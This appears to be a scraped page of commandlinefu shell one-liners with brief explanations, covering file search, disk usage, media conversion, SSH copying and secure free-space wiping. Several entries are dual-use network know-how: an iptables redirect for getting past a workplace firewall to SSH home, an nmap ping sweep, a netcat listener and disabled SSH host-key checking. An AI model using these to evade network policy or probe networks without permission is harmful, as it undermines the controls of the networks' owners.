./servers/util_ldap_cache_mgr.c.html 23293 19 0.0 0.0 grep -l -m1 askapache ./servers/util_md5.c.html 23308 19 0.0 0.0 grep -l -m1 askapache ./servers/waitio.c.html 23310 19 0.0 0.0 grep -l -m1 askapache ./servers/winconfig.h.html 23311 19 0.0 0.0 grep -l -m1 askapache ./servers/wintty.c.html 23265 19 0.0 0.1 sed -i -e s%askapache%htaccess% ./servers/apr_uri.h.html 23266 19 0.0 0.0 sed -i -e s%askapache%htaccess% ./servers/apr_uri.c.html 23267 19 0.0 0.0 sed -i -e s%askapache%htaccess% ./servers/apr_time.h.html 23268 19 0.0 0.0 sed -i -e s%askapache%htaccess% ./servers/apr_user.h.html 23269 19 0.0 0.0 sed -i -e s%askapache%htaccess% ./servers/apr_strmatch.h.html Functions: find grep sed sh xargs FAST Search and Replace for Strings in all Files in Directory I needed a way to search all files in a web directory that contained a certain string, and replace that string with another string. In the example, I am searching for "askapache" and replacing that string with "htaccess". I wanted this to happen as a cron job, and it was important that this happened as fast as possible while at the same time not hogging the CPU since the machine is a server. So this script uses the nice command to run the sh shell with the command, which makes the whole thing run with priority 19, meaning it won't hog CPU processing. And the -P5 option to the xargs command means it will run 5 separate grep and sed processes simultaneously, so this is much much faster than running a single grep or sed. You may want to do -P0 which is unlimited if you aren't worried about too many processes or if you don't have to deal with process killers in the bg. Also, the -m1 command to grep means stop grepping this file for matches after the first match, which also saves time. shopt -s histappend ; PROMPT_COMMAND="history -a;$PROMPT_COMMAND" Save your terminal commands in bash history in real time Use this command if you want your terminal commands be saved in your history file in real time instead of waiting until the terminal is closed ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d" Functions: ps sed Processes by CPU usage tcs -f 8859-1 -t utf /some/file Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or whatever) I use it sometimes when I work on a french file transferred from a windows XP to a Debian-UTF8 system. Those are not correctly displayed: ? ? ? and so on man tcs # for all charsets :%!xxd view hex mode in vim Ctrl + u echo "${0%/*}" Find out the starting directory of a script Invoked from within a shell script, this will print the directory in which the script resides. Doesn't depend on external tools, /proc/self/*, etc.. (`echo` is a shell builtin.) To see the *current working* directory of a script, use `pwd`. $ grep -or string path/ | wc -l Functions: grep wc count how many times a string appears in a (source code) tree grep -o puts each occurrence in a separate line echo "message" | smbclient -M NAME_OF_THE_COMPUTER send a message to a windows machine in a popup It will only work if the service NETSEND in the Windows machine is enabled. alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi' fast access to any of your favorite directory. example: -------------------------------------------------------------------------------------------- user@ubuntu:~/workspace/SVN/haystak-repos/trunk/internal/src$ addpi Now that directory is in the list of fast access directories. You can switch to it anytime like this: user@ubuntu:~$ pi internal` user@ubuntu:~/workspace/SVN/haystak-repos/trunk/internal/src$ -------------------------------------------------------------------------------------------- Please note the backquote ( the symbol that shares its key with ~ in the keyboard ) pi will switch you to that directory. To see the list of all fast access directories you have to say "cat ~/.pi" sudo arp -s 192.168.1.200 00:35:cf:56:b2:2g temp && ssh root@192.168.1.200 Functions: arp ssh sudo Instead of looking for the right ip address, just pick whatever address you like and set a static ip mapping. cat </dev/tcp/time.nist.gov/13 cat </dev/tcp/time.nist.gov/13 55168 09-12-03 20:32:43 00 0 0 350.2 UTC(NIST) * Get the time from NIST.GOV The format is JJJJJ YR-MO-DA HH:MM:SS TT L DUT1 msADV UTC(NIST) OTM and is explained more fully here: http://tf.nist.gov/service/acts.htm find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \; [renich@introdesk ~]$ find ~/ -name '*.JPG' -exec rename .JPG .jpg \{\} \; [renich@introdesk ~]$ Rename .JPG to .jpg recursively This command is useful for renaming a clipart, pic gallery or your photo collection. It will only change the big caps to small ones (on the extension). readlink -f /proc/$$/exe find ./ -size +10M -type f -print0 | xargs -0 ls -Ssh1 --color 265M ./2009_08_24/DCIM/100CANON/MVI_1679.AVI 58M ./2009_08_24/DCIM/100CANON/MVI_1816.AVI 31M ./2009_08_24/DCIM/100CANON/MVI_1824.AVI 27M ./2009_08_24/DCIM/100CANON/MVI_1815.AVI Functions: find ls xargs Sort file greater than a specified size in human readeable format including their path and typed by color, running from current directory 1. find file greater than 10 MB 2. direct it to xargs 3. xargs pass them as argument to ls wget -S -O/dev/null "INSERT_URL_HERE" 2>&1 | grep Server Functions: grep wget Poke a Webserver to see what it's powered by. the good: Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.4 with Suhosin-Patch the bad: Server: Microsoft-IIS/6.0 and the ugly: Server: Apache/2.2.10 (Win32) mod_ssl/2.2.10 OpenSSL/0.9.8i PHP/5.2.6 sudo rmmod pcspkr Functions: rmmod sudo To ensure that it will never come back, you can edit /etc/modprobe.d/blacklist Add "blacklist pcspkr" sans quotes !?<string>? # !?sdb1? cryptsetup luksOpen /dev/sdb1 fs_backup Enter luks passphrase: You can add :p at the end to prevent execution and just show you the command. # !?sdb1?:p Execute most recent command containing search string. Execute the most recent command containing search string. This differs from !string as that only refers to the most recent command starting with search string. silent(){ $@ > /dev/null 2>&1; }; alias shh=silent silent/shh - shorthand to make commands really quiet Sometimes I just want to run a command quietly but all that keyboard shifting makes my fingers hurt. This little function does the job eg.: if shh type less; then PAGER=less; fi ffmpeg -i <filename>.flv -vn <filename>.mp3 du -sh * 336M db83 6,2M include 8,9M lib 1,1G logs 1,2M man 4,6M modules 3,3M share Quickly get summary of sizes for files and folders Use this as a quick and simple alternative to the slightly verbose "du -s --max-depth=1" ‹ First < 33 34 35 36 37 > Last › <<<"k=1024; m=k*k; g=k*m; g" bc $ # example 1: with the "bc" (basic calculator) command $ <<<"k=1024; m=k*k; g=k*m; g" bc 1073741824 $ # example 2: with the "at" command $ <<< "/home/mirror/cron_rsync_mandriva_updates" at now + 1 min warning: commands will be executed using (in order) a) $SHELL b) login shell c) /bin/sh job 66 at Sat Jun 20 11:33:00 2009 Using bash inline "here document" with three less-than symbols on command line There are two ways to use "here documents" with bash to fill stdin: The following example shows use with the "bc" command. a) Using a delimiter at the end of data: less-than less-than eeooff bc > k=1024 > m=k*k > g=k*m > g > eeooff b) using the "inline" verion with three less-than symbols: less-than less-than less-than "k=1024; m=k*k; g=k*m; g" bc One nice advantage of using the triple less-than version is that the command can easily be recalled from command line history and re-executed. PS: in this "description", I had to use the name "less-than" to represent the less-than symbol because the commandlinefu input text box seems to eat up the real less-than symbols. Odd. NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NFSPATH" || (umount -fl $NFSPATH; mount $NFSPATH) Functions: mount perl umount Check a nfs mountpoint and force a remount if it does not reply after a given timeout. Based on the execute with timeout command in this site. A more complex script: # This script will check the avaliability of a list of NFS mount point, # forcing a remount of those that do not respond in 5 seconds. # # It basically does this: # NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NFSPATH" || (umount -fl $NFSPATH; mount $NFSPATH) TIMEOUT=5 SCRIPT_NAME=$(basename $0) for i in $@; do echo "Checking $i..." if ! perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $i" > /dev/null 2>&1; then echo "$SCRIPT_NAME: $i is failing with retcode $?."1>&2 echo "$SCRIPT_NAME: Submmiting umount -fl $i" 1>&2 umount -fl $i; echo "$SCRIPT_NAME: Submmiting mount $i" 1>&2 mount $i; lsof /folder COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME Show which process is blocking umount (Device or resource is busy) Instead of using force un-mounting, it's better to find the processes that currently use the relevant folder. Taken from: http://www.linuxhowtos.org/Tips%20and%20Tricks/findprocesses.htm find -type f -exec mv {} . \; Functions: find mv Move items from subdirectories to current directory Find every file and move it to current directory. tac file.txt Functions: tac cat a file backwards Or "tail -r" on Solaris. find . -iname \*.mp3 -print0 | xargs -0 mp3gain -krd 6 && vorbisgain -rfs . Keep from having to adjust your volume constantly Run this in the directory you store your music in. mp3gain and vorbisgain applies the ReplayGain normalization routine to mp3 and ogg files (respectively) in a reversible way. ReplayGain uses psychoacoustic analysis to make all files sound about the same loudness, so you don't get knocked out of your chair by loud songs after cranking up the volume on quieter ones. export QQ=$(mktemp -d);(cd $QQ; curl -s -O http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25];for i in $(perl -ne 'print "$1\n" if( /^(\w+\(\))/ )' *|sort -u);do grep -h -m1 -B1 $i *; done)|grep -v '^--' > clf.sh;rm -r $QQ Functions: cd export grep mktemp perl sort grab all commandlinefu shell functions into a single file, suitable for sourcing. Each shell function has its own summary line, as a comment. If there are multiple shell functions with the same name, the function with the highest number of votes is put into the file. Note: added 'grep -v' to the end of the pipeline, to eliminate extraneous lines containing only '--'. Thanks to matthewbauer for pointing this out. translate() { lng1="$1";lng2="$2";shift;shift; wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=${@// /+}&langpair=$lng1|$lng2" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; } $ translate en de I am looking for a table allow multiword translations :%y * Copy file content to X clipboard (only when vim has been compiled with +clipboard) script make a log of a terminal session Creates a log of a session in a file called typescript. Or specify the file with: script filename Exit the session with control-d. curl -s ip.appspot.com should be very consistent cause it's google :-) ps aux | grep [h]ttpd Exclude grep from your grepped output of ps (alias included in description) Surround the first letter of what you are grepping with square brackets and you won't have to spawn a second instance of grep -v. You could also use an alias like this (albeit with sed): alias psgrep='ps aux | grep $(echo $1 | sed "s/^\(.\)/[\1]/g")' iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports 22 Redirect incoming traffic to SSH, from a port of your choosing Stuck behind a restrictive firewall at work, but really jonesing to putty home to your linux box for some colossal cave? Goodness knows I was...but the firewall at work blocked all outbound connections except for ports 80 and 443. (Those were wide open for outbound connections.) So now I putty over port 443 and have my linux box redirect it to port 22 (the SSH port) before it routes it internally. So, my specific command would be: iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 22 Note that I use -A to append this command to the end of the chain. You could replace that with -I to insert it at the beginning (or at a specific rulenum). My linux box is running slackware, with a kernel from circa 2001. Hopefully the mechanics of iptables haven't changed since then. The command is untested under any other distros or less outdated kernels. Of course, the command should be easy enough to adapt to whatever service on your linux box you're trying to reach by changing the numbers (and possibly changing tcp to udp, or whatever). Between putty and psftp, however, I'm good to go for hours of time-killing. tput smcup; echo "Doing some things..."; sleep 2; tput rmcup Functions: echo sleep tput Using tput to save, clear and restore the terminal contents Very useful for interactive scripts where you would like to return the terminal contents to its original state before the script was run. This would be similar to how vi exits and returns you to your original terminal screen. Save and clear the terminal contents with: tput smcup Execute some commands, then restore the saved terminal contents with: tput rmcup say() { if [[ "${1}" =~ -[a-z]{2} ]]; then local lang=${1#-}; local text="${*#$1}"; else local lang=${LANG%_*}; local text="$*";fi; mplayer "http://translate.google.com/translate_tts?ie=UTF-8&tl=${lang}&q=${text}" &> /dev/null ; } say Hello World say -de Hallo Welt say -fr Bonjour Monde Google text-to-speech in local language or language of choice Google text-to-speech in your local language or in language of choice via country code switch (ISO 639-1). du -cks * | sort -rn | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done ruin:~$ ducks 229G total 156G Music 25G Pictures 18G Downloads 16G Movies 1G Documents 286M code 172k .ssh 112k bin 48k .git_bash_completion Functions: du echo read size sort wget -p --convert-links http://www.foo.com Wget Command to Download Full Recursive Version of Web Page The example will create a directory called " Caveats: @imports of css files will not be converted. ls -1d /usr/local/*/ /usr/local/bin/ /usr/local/include/ /usr/local/lib/ /usr/local/man/ /usr/local/sbin/ /usr/local/share/ List only directory names This command would be useful when it is desirable to list only the directories. Other options Hidden directory ls -d .*/ Other path ls -d /path/to/top/directory/.*/ Long format: ls -ld */ cat /proc/PID/limits Limit Soft Limit Hard Limit Units Find ulimit values of currently running process When dealing with system resource limits like max number of processes and open files per user, it can be hard to tell exactly what's happening. The /etc/security/limits.conf file defines the ceiling for the values, but not what they currently are, while ulimit -a will show you the current values for your shell, and you can set them for new logins in /etc/profile and/or ~/.bashrc with a command like: ulimit -S -n 100000 >/dev/null 2>&1 But with the variability in when those files get read (login vs any shell startup, interactive vs non-interactive) it can be difficult to know for sure what values apply to processes that are currently running, like database or app servers. Just find the PID via "ps aux | grep programname", then look at that PID's "limits" file in /proc. Then you'll know for sure what actually applies to that process. watch -n60 du /var/log/messages Functions: du watch Monitor a file's size use "watch" instead of while-loops in these simple cases netstat -plnt check open ports (both ipv4 and ipv6) While `lsof` will work, why not use the tool designed explicitly for this job? (If not run as root, you will only see the names of PID you own) alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome-terminal.png "[$?] $(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/;\s*alert$//'\'')"' Get notified when a job you run in a terminal is done, using NotifyOSD This is an alias you can add to your .bashrc file to get notified when a job you run in a terminal is done. example of use sleep 20; alert Source:http://www.webupd8.org/2010/07/get-notified-when-job-you-run-in.html find -printf '%u %g\n' | sort | uniq apache apache root root user1 apache Functions: find sort Get a quick list of all user and group owners of files and dirs under the cwd. find -printf '%u\n' | sort | uniq #just users find -printf '%g\n' | sort | uniq #just groups ls /home | head -64 | barcode -t 4x16 | lpr Functions: head ls printing barcodes GNU Barcode will adapt automagically the width and the eight of your elements to fill the page. Standard output format is PostScript. # cd $partition; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredUnusedBlocks # Example showing the /boot partition. Note command is run as root. # cd /boot; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredUnusedBlocks dd: writing `ShredUnusedBlocks': No space left on device 1+0 records in 0+0 records out 231747584 bytes (232 MB) copied, 8.21679 s, 28.2 MB/s shred: ShredUnusedBlocks: pass 1/4 (random)... shred: ShredUnusedBlocks: pass 1/4 (random)...20MiB/222MiB 9% shred: ShredUnusedBlocks: pass 1/4 (random)...40MiB/222MiB 18% shred: ShredUnusedBlocks: pass 1/4 (random)...60MiB/222MiB 27% shred: ShredUnusedBlocks: pass 1/4 (random)...80MiB/222MiB 36% shred: ShredUnusedBlocks: pass 1/4 (random)...100MiB/222MiB 45% shred: ShredUnusedBlocks: pass 1/4 (random)...120MiB/222MiB 54% shred: ShredUnusedBlocks: pass 1/4 (random)...140MiB/222MiB 63% shred: ShredUnusedBlocks: pass 1/4 (random)...160MiB/222MiB 72% shred: ShredUnusedBlocks: pass 1/4 (random)...180MiB/222MiB 81% shred: ShredUnusedBlocks: pass 1/4 (random)...200MiB/222MiB 90% shred: ShredUnusedBlocks: pass 1/4 (random)...220MiB/222MiB 99% shred: ShredUnusedBlocks: pass 1/4 (random)...222MiB/222MiB 100% shred: ShredUnusedBlocks: pass 2/4 (random)... shred: ShredUnusedBlocks: pass 2/4 (random)...18MiB/222MiB 8% shred: ShredUnusedBlocks: pass 2/4 (random)...39MiB/222MiB 17% shred: ShredUnusedBlocks: pass 2/4 (random)...59MiB/222MiB 26% shred: ShredUnusedBlocks: pass 2/4 (random)...79MiB/222MiB 35% shred: ShredUnusedBlocks: pass 2/4 (random)...98MiB/222MiB 44% shred: ShredUnusedBlocks: pass 2/4 (random)...118MiB/222MiB 53% shred: ShredUnusedBlocks: pass 2/4 (random)...139MiB/222MiB 62% shred: ShredUnusedBlocks: pass 2/4 (random)...158MiB/222MiB 71% shred: ShredUnusedBlocks: pass 2/4 (random)...179MiB/222MiB 81% shred: ShredUnusedBlocks: pass 2/4 (random)...199MiB/222MiB 90% shred: ShredUnusedBlocks: pass 2/4 (random)...219MiB/222MiB 99% shred: ShredUnusedBlocks: pass 2/4 (random)...222MiB/222MiB 100% shred: ShredUnusedBlocks: pass 3/4 (random)... shred: ShredUnusedBlocks: pass 3/4 (random)...17MiB/222MiB 8% shred: ShredUnusedBlocks: pass 3/4 (random)...38MiB/222MiB 17% shred: ShredUnusedBlocks: pass 3/4 (random)...58MiB/222MiB 26% shred: ShredUnusedBlocks: pass 3/4 (random)...78MiB/222MiB 35% shred: ShredUnusedBlocks: pass 3/4 (random)...97MiB/222MiB 44% shred: ShredUnusedBlocks: pass 3/4 (random)...117MiB/222MiB 53% shred: ShredUnusedBlocks: pass 3/4 (random)...137MiB/222MiB 62% shred: ShredUnusedBlocks: pass 3/4 (random)...157MiB/222MiB 71% shred: ShredUnusedBlocks: pass 3/4 (random)...177MiB/222MiB 80% shred: ShredUnusedBlocks: pass 3/4 (random)...197MiB/222MiB 89% shred: ShredUnusedBlocks: pass 3/4 (random)...217MiB/222MiB 98% shred: ShredUnusedBlocks: pass 3/4 (random)...222MiB/222MiB 100% shred: ShredUnusedBlocks: pass 4/4 (000000)... shred: ShredUnusedBlocks: removing shred: ShredUnusedBlocks: renamed to 00000000000000000 shred: 00000000000000000: renamed to 0000000000000000 shred: 0000000000000000: renamed to 000000000000000 shred: 000000000000000: renamed to 00000000000000 shred: 00000000000000: renamed to 0000000000000 shred: 0000000000000: renamed to 000000000000 shred: 000000000000: renamed to 00000000000 shred: 00000000000: renamed to 0000000000 shred: 0000000000: renamed to 000000000 shred: 000000000: renamed to 00000000 shred: 00000000: renamed to 0000000 shred: 0000000: renamed to 000000 shred: 000000: renamed to 00000 shred: 00000: renamed to 0000 shred: 0000: renamed to 000 shred: 000: renamed to 00 shred: 00: renamed to 0 shred: ShredUnusedBlocks: removed Functions: cd dd shred securely erase unused blocks in a partition This command securely erases all the unused blocks on a partition. The unused blocks are the "free space" on the partition. Some of these blocks will contain data from previously deleted files. You might want to use this if you are given access to an old computer and you do not know its provenance. The command could be used while booted from a LiveCD to clear freespace space on old HD. On modern Linux LiveCDs, the "ntfs-3g" system provides ReadWrite access to NTFS partitions thus enabling this method to also be used on Wind'ohs drives. NB depending on the size of the partition, this command could take a while to complete. ‹ First < 34 35 36 37 38 > Last › cal 09 1752 September 1752 Su Mo Tu We Th Fr Sa 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Functions: cal synchronicity The British Government entering in the Gregorian era. watch -n 1 'pstack 12345 | tac' Every 1.0s: pstack 2558 | tac Thu Feb 5 12:04:57 2009 #24 0x00000030fea1d8b4 in __libc_start_main () from /lib64/libc.so.6 #23 0x0000000000412275 in Py_Main () #22 0x00000000004a86e0 in PyRun_SimpleFileExFlags () #21 0x00000000004a844e in PyRun_FileExFlags () #20 0x00000000004872a2 in PyEval_EvalCode () #3 0x00002b2368b40a3f in search_peptide () from /n/site/inst/Linux-x86_64/bioi #2 0x00002b2368b405f8 in choose_residue_mod () #1 0x00002b2368b3ff86 in evaluate_peptide () from /n/site/inst/Linux-x86_64/bi #0 0x00002b2368b3f181 in score_spectrum () from /n/site/inst/Linux-x86_64/bioi watch process stack, sampled at 1s intervals This command repeatedly gets the specified process' stack using pstack (which is an insanely clever and tiny wrapper for gdb) and displays it fullscreen. Since it updates every second, you rapidly get an idea of where your program is stuck or spending time. The 'tac' is used to make the output grow down, which makes it less jumpy. If the output is too big for your screen, you can always leave the 'tac' off to see the inner calls. (Or, better yet--get a bigger screen.) Caveats: Won't work with stripped binaries and probably not well with threads, but you don't want to strip your binaries or use threads anyway. perl -e 'while(1){print"> ";eval<>}' Perl Command Line Interpreter My Programming Languages professor assigned my class a homework assignment where we had to write a Perl interpreter using Perl. I really like Python's interactive command line interpreter which inspired this Perl script. echo "this is a test" | sed 's/.*/\L&/; s/[a-z]*/\u&/g' $ echo "this is a test" | sed 's/.*/\L&/; s/[a-z]*/\u&/g' This Is A Test $ Convert a string to "Title Case" Converts the first letter of each word to upper case sed -i '/myexpression/d' /path/to/file.txt Remove lines that contain a specific pattern($1) from file($2). The -i option in sed allows in-place editing of the input file. Replace myexpression with any regular expression. /expr/d syntax means if the expression matches then delete the line. You can reverse the functionality to keep matching lines only by using: sed -i -n '/myexpression/p' /path/to/file.txt AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr' <Your running screen session> Functions: hostname autossh + ssh + screen = super rad perma-sessions Only useful for really flakey connections (but im stuck with one for now). Though if youre in this situation ive found this to be a good way to run autossh and it does a pretty good job of detecting when the session is down and restarting. Combined with the -t and screen commands this pops you back into your working session lickety split w/ as few headaches as possible. And if autossh is a bit slow at detecting the downed ssh connection, just run this in another tab/terminal window to notify autossh that it should drop it and start over. Basically for when polling is too slow. kill -SIGUSR1 `pgrep autossh` for file in *.jpg; do convert "$file" -resize 800000@ -quality 80 "small.$file"; done resize all JPG images in folder and create new images (w/o overwriting) Convert all jpegs in the current directory into ~1024*768 pixels and ~ 150 KBytes jpegs ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29*(Math.cos(i)/2+1)); i+=0.1}" Purely frivolous - print a sine/cosine curve to the console - the width varies as it progresses. Ctrl-C to halt. convert -adjoin -page A4 *.jpeg multipage.pdf Convert images to a multi-page pdf The linux package imagmagick is required for this command aptitude remove $(dpkg -l|egrep '^ii linux-(im|he)'|awk '{print $2}'|grep -v `uname -r`) linux-image-2.6.32-3-amd64 linux-image-amd64 0 packages upgraded, 0 newly installed, 2 to remove and 0 not upgraded. Need to get 0B of archives. After unpacking 99.6MB will be freed. Would download/install/remove packages. # `uname -r` = "2.6.34-dbb-deb" Functions: awk egrep grep Remove all unused kernels with apt-get This should do the same thing and is about 70 chars shorter. echo 'some command' | batch If shell escaping of the command is problematic, you can write the command to a file first: batch <somefile Or read it: read -re && echo "$REPLY" | batch Or, if your shell supports it, you can eliminate echo: read -re && batch <<<$REPLY ("man batch" lists 1.5 for me, but I don't know how widely it differs.) cd "$(mktemp -d)" /tmp$ cd "$(mktemp -d)" /tmp/tmp.gZIwreyWQp$ Go (cd) directly into a new temp folder This command create a new temp directory using mktemp (to avoid collisions) and change the current working directory to the created directory. wget -e robots=off -E -H -k -K -p http://<page> Use wget to download one page and all it's requisites for offline viewing ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1 Temporarily ignore known SSH hosts you may create an alias also, which I did ;-) alias sshu="ssh -o UserKnownHostsFile=/dev/null " find /path/to/dir -type f -delete Using -delete is faster than: find /path/to/dir -type f -print0 | xargs -0 rm find /path/to/dir -type f -exec rm {} + find /path/to/dir -type f -exec rm \-f {} \; man !!:0 See The MAN page for the last command This works in bash. The "!!:0" limits the argument to man to be only the first word of the last command. "!!:1" would be the second, etc. ctrl + r blue] $ (reverse-i-search)`': ls #Press enter to run the selected command. Search command history on bash Very handy and time-saving. Keep on searching by repeatedly pressing ctrl+r. Press enter once you get the desired command string. ssh <host> 'tar -cz /<folder>/<subfolder>' | tar -xvz #ssh hula2 'tar -cz /export/logs/account-collector/server.log.2009-11-*' | tar -xzv export/logs/account-collector/server.log.2009-11-01 export/logs/account-collector/server.log.2009-11-02 export/logs/account-collector/server.log.2009-11-03 export/logs/account-collector/server.log.2009-11-04 export/logs/account-collector/server.log.2009-11-05 export/logs/account-collector/server.log.2009-11-06 export/logs/account-collector/server.log.2009-11-07 export/logs/account-collector/server.log.2009-11-08 export/logs/account-collector/server.log.2009-11-09 #ls -R ~/export /home/user/export: logs /home/user/export/logs: account-collector /home/user/export/logs/account-collector: server.log.2009-11-01 server.log.2009-11-03 server.log.2009-11-05 server.log.2009-11-07 server.log.2009-11-09 server.log.2009-11-02 server.log.2009-11-04 server.log.2009-11-06 server.log.2009-11-08 Copy a folder tree through ssh using compression (no temporary files) This command will copy a folder tree (keeping the parent folders) through ssh. It will: - compress the data - stream the compressed data through ssh - decompress the data on the local folder This command will take no additional space on the host machine (no need to create compressed tar files, transfer it and then delete it on the host). There is some situations (like mirroring a remote machine) where you simply cant wait for a huge time taking scp command or cant compress the data to a tarball on the host because of file system space limitation, so this command can do the job quite well. This command performs very well mainly when a lot of data is involved in the process. If you copying a low amount of data, use scp instead (easier to type) mencoder -ss <start point> -endpos <time from start point> -oac copy -ovc copy <invid> -o <outvid> Edit video by cutting the part you like without transcoding. The following will take frames starting at 15.2 seconds for a total of 45.9 seconds: mencoder -ss 15.2 -endpos 30.7 -oac copy -ovc copy mymovie.avi -o myeditedmovie.avi Keep in mind -endpos is the total time, i.e. the output video in this is 3 minutes 3 seconds in length: mencoder -ss 1 minute -endpos 2 minutes 3 seconds -oac copy -ovc copy mymovie.avi -o myeditedmovie.avi truncate -s 1M file Create a file of a given size in linux if the fs support sparse file,using truncate can create sparse file. http://en.wikipedia.org/wiki/Sparse_file xmlstarlet sel -t -c "/path/to/element" file.xml extract element of xml echo "aplay path/to/song" |at [time] For instance: echo "aplay /media/dados/audio/geral/Yahoo.wav" | at 16:28 Set an alarm to wake up [2] Set an alarm to starts in specific time. badblocks -n -s /dev/sdX Functions: badblocks Check disk for bad sectors Checks HDD for bad sectors, just like scandisk or chkdisk under some other operating system ;-). sudo socat TCP4-LISTEN:80,bind=127.0.0.1,fork EXEC:'echo "HTTP/1.1 503 Service Unavailable";' $ lynx 127.0.0.1:81 Making HTTP connection to 127.0.0.1:81 Sending HTTP request. HTTP request sent; waiting for response. Alert!: HTTP/1.1 503 Service Unavailable; Data transfer complete Make redirects to localhost via /etc/hosts more interesting Normally when a site is blocked through /etc/hosts, traffic is just being redirected to a non-existent server that isn't going to respond. This helps get your point across a little more clearly than a browser timeout. Of course you could use any number of codes: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes Obviously, this command can be added to init-rc.d, and more sophisticated responses can be given. Seems noteworthy to mention that the information sent from the browser can be parsed using the bash READ builtin (such as 'while read -t 1 statement; do parsing'), and the connection stays open until the script exits. Take care that you must use EXEC:'bash -c foo.sh', as 'execvp' (socat's method for executing scripts) invokes 'sh', not 'bash'. find public_html/ -type d -exec chmod 755 {} + Chmod all directories (excluding files) + at the end means that many filenames will be passed to every chmod call, thus making it faster. And find own {} makes sure that it will work with spaces and other characters in filenames. ‹ First < 35 36 37 38 39 > Last › for i in *; do echo "<li><a href='$i'>$i</a>"; done > index.html <li><a href='index.html'>index.html</a> <li><a href='Unallocated Space-loft1.png'>Unallocated Space-loft1.png</a> <li><a href='Unallocated Space-loft2.png'>Unallocated Space-loft2.png</a> <li><a href='Unallocated Space-loft3.png'>Unallocated Space-loft3.png</a> <li><a href='Unallocated Space-loft4.png'>Unallocated Space-loft4.png</a> <li><a href='Unallocated Space.sh3d'>Unallocated Space.sh3d</a> Create cheap and easy index.html file If your admin has disabled Apache's directory index feature but you want to have a cheap way to enable it for one folder, this command will just create an index.html file with a link to each file in the directory (including the index.html file, which is not ideal but makes the command much simpler). The HTML isn't even remotely compliant, but it could easily be improved on. Also, the command needs to be run each time a file is added or removed to update the index.html file. while true ; do nc -l 80 < index.html ; done Functions: true One command line web server on port 80 using nc (netcat) Very simple web server listening on port 80 will serve index.html file or whatever file you like pointing your browser at http://your-IP-address/index.html for example. If your web server is down for maintenance and you'd like to inform your visitors about it, quickly and easily, you just have to put into the index.html file the right HTML code and you are done! Of course you need to be root to run the command using port 80. complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //'))" ssh ssh autocomplete Stop tormenting the poor animal cat. See http://sial.org/howto/shell/useless-cat/. Edit: replaced sort | uniq by sort -u lvextend -l +100%FREE /dev/VolGroup00/LogVol00 Extend a logical volume to use up all the free space in a volume group cat <file> > /dev/null Load file into RAM (cache) for faster accessing for repeated usage Best result when file size less than half of RAM size newcommand $(!!) Re-use the previous command output The $(!!) will expand to the previous command output (by re-running the command), which becomes the parameter of the new command newcommand. du -hs */ List complete size of directories (do not consider hidden directories) why make it complicated ? : ] -------------------- I just noticed someone else has posted this on this site before me (sorry I am now a duplicate :/) http://www.commandlinefu.com/commands/view/4313 ssh vm-user@`VBoxManage guestproperty get "vm-name" "/VirtualBox/GuestInfo/Net/0/V4/IP" | awk '{ print $2 }'` host-user@host:~$ ssh vm-user@`VBoxManage guestproperty get "vm-name" "/VirtualBox/GuestInfo/Net/0/V4/IP" | awk '{ print $2 }'` vm-user@192.168.1.123's password: Functions: awk get ssh Connect via SSH to VirtualBox guest VM without knowing IP address Booting the VM headless via VBoxHeadless requires knowledge of the VM's network in order to connect. Using VBoxManage in this way and you can SSH to the VM without first looking up the current IP, which changes depending on how you have your VM configured. nmap -sP 192.168.1.0/24; arp -n | grep "192.168.1.[0-9]* *ether" Functions: arp grep You send a unicast ICMP packet to each host. Many firewalls will drop that ICMP. However, in order to send the ICMP, you'll have first done an ARP request and the remote machine is unlikely to ignore that, so the computer will be in your ARP table. alias lvim="vim -c \"normal '0\"" Open the last file you edited in Vim. find . ! -name <FILENAME> -delete Remove everything except that file it will remove everything except the file names matching you can use also use wildcards sudo dmidecode | more print indepth hardware info wanna know something about your hardware? how about EVERYTHING?? then this should do ya well git commit --amend Created commit b4f36e5: some log message goes here Add forgotten changes to the last git commit It's pretty common to forgot to commit a files, be it a modification, or a brand new file. If you did forget something, git add the files you want, and then git commit --amend. It will essentially redo the last commit, with the changes you just added. It seeds the commit message with the last commit message by default. You probably shouldn't do this if you've already pushed the commit. sysctl vm.swappiness=50 Functions: sysctl Change your swappiness Ratio under linux This command allow you to set the swappiness var at 50 (default is 60). The value interval must be set between 0 and 100. If swappiness is high=Swap usage is high, if swappiness is low=Ram usage is high. mplayer tv:// -tv driver=v4l:width=352:height=288 Show webcam output Show the webcam output with mplayer. username=matthewbauer; curl -s http://www.commandlinefu.com/commands/by/$username/json | tr '{' '\n' | grep -Eo ',"votes":"[0-9\-]+","' | grep -Eo '[0-9\-]+' | tr '\n' '+' | sed 's/+$/\n/' | bc 37 Functions: grep sed tr Get your commandlinefu points (upvotes - downvotes) This will calculate the your commandlinefu votes (upvotes - downvotes). Hopefully this will boost my commandlinefu points. grep -hIr :name 